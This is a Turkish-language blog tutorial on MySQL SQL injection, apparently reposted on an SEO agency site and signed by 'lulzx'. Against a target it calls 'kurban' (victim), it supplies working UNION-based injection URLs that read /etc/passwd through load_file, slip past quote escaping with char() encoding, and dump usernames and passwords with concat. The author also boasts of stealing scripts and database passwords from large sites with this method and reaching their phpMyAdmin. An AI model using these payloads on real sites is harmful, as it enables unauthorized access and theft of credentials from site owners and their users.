Dijital Pazarlama - Seo Ajansı

MySQL sistemler için sql enjeksiyonu olası tehlikeler,teknikler. - 1

 Genelde ülkemizde bir çok kişi MySQL ve MSSQL'un birbirinden farklı bir yapıya sahip olduğunu düşünürler.
Ancak sanılanın aksine MySQL MSSQL'a en yakın denebilecek bir yapıya sahiptir.Postgre ve Oracle ise tamamen değişik bir yapıya sahipler diyebiliriz.
Gelelim konumuza, MySQL'da yapısı itibariyle aynı anda birden çok sorgu çalıştıramıyoruz.Ancak belli prosedürler ve alt sorgular (sub query) yapabilmekteyiz.
Bu dökümanda size bir kaç püf nokta göstereceğim.En basitinden başlayalım,
SQL sorguları bildiğiniz üzere her zaman mantık kurallarına göre çalışır.UNION sorgularını bilirsiniz UNION kelime itibariyle birleşik demektir genelde güvenlik sitelerini ve maillistlerde UNION ile enjekte edilmiş sorgular görmekteyiz ancak MySQL üzerindeki bu enjeksiyonlarda MSSQL ve Access gibi tablo adı bilmeden bile bir çok şey yapabiliriz.
Örnek saldırılar;
Hedef sorgunun 4 kolona hitap ettiğini bulduk
http://kurban/muziklistesi.php?liste=-1/**/UNION/**/SELECT/**/0,1,2,3/* şeklinde adrese tarayıcımız ile ulaştık dikkat ettiyseniz FROM ve benzeri ifadeleri sorguya eklemedim.
Sayfaya ulaştık ve karşımıza 0 1 3 2 şeklinde karışık olarak veriler çıktı, ee ne var bunda? Bu şimdi bizim bir çok işimize yarayacak.
load_file fonksiyonu sayesinde sistemden önce dosya dahil etmeyi gösterelim.
Kolonu rasgele yazıyorum direk 2. kolon diye düşünmeyin
http://kurban/muziklistesi.php?liste=-1/**/UNION/**/SELECT/**/0,load_file('/etc/passwd'),2,3/*
adresine tekrar tarayıcımızdan ulaşıyoruz.
Karşımıza o meşhur /etc/passwd dosyası ve içeriği çıktı.

root:x:0:0:root:/root:/bin/tcsh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh .. devamı


şeklinde , peki bu nasıl gelişebilir bazı hostlarda magic_quotes_gpc değeri aktif (on) durumda ise veya sorgular bi şekilde ' " gibi karakterleri escape edilip \' halini alıyor nasıl '/etc/passwd' yazıcaz edicez.
Basit char fonksiyonu ile bu dosyalara ulaşabiliriz.
'/etc/passwd' bu şekilde yazıcaz char(47,101,116,99,47,112,97,115,115,119,100)
dolayısıyla sorgumuz http://kurban/muziklistesi.php?liste=-1/**/UNION/**/SELECT/**/0,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),2,3/* şeklini alacak.
Peki bu daha nasıl gelişebilir.Bu yöntem ile sunucu tabanlı dosyalarıda okuyabiliriz gene iznimiz çerçevesinde, dolayısıyla kullanıcının eğer hata mesajı ile bulunduğu dizini alabildiysek config.php gibi dosyaları açıp okuyabiliriz.Bu şekilde bir çok büyük sitede bulduğum SQL enjektesi ile kendilerinin scriptlerini çekmiştim :).Hatta bu config dosyalarının içlerindeki db şifreleri ile sunucuda klasik phpmyadmin klasörüne erişip MySQL hesabına bağlanıp veritabanına erişim sağlayabiliriz.
Not: Şuana kadar olan bütün çalışmaları ve örneklemeleri *nix tabanlı sistemlere göre anlattım aklınız karışmasın.
Peki diyelim UNION sorgu tek kolona eşit geldi ne yapabilirim ben 4 5 kolon bilgisi çekicem, nasıl yapabilirim?..
Basit concat fonksiyonu ile birden çok değeri birleştirebiliriz.
Örnek sorgu: http://kurban/muziklistesi.php?liste=-1/**/UNION/**/SELECT/**/concat('Üye adı:',char(32),username,'Şifre:',char(32),password)/**/from/**/mymembers/*
Bu sorgu sonucu

Üye adı: lulz Şifre: l1ul1z1

gibi bir veri dönecek size, tabiki gene char fonksiyonu kullanabilirsiniz.
Ayrıca MySQL için genel tablo adları:

  • mysql.user
  • mysql.host
  • mysql.db


Gene aynı şekilde MySQL kriptolanmış kullanıcı şifrelerini öğrenme,dosyalara veri çıkarma ve bunlara erişme ile ilgili bir dökümanda ilerde yazıcam bugünlük bu kadar,

Sevgilerimizle, lulz a.k.a lulzx

Yorumunuz..

Daha yeni Daha eski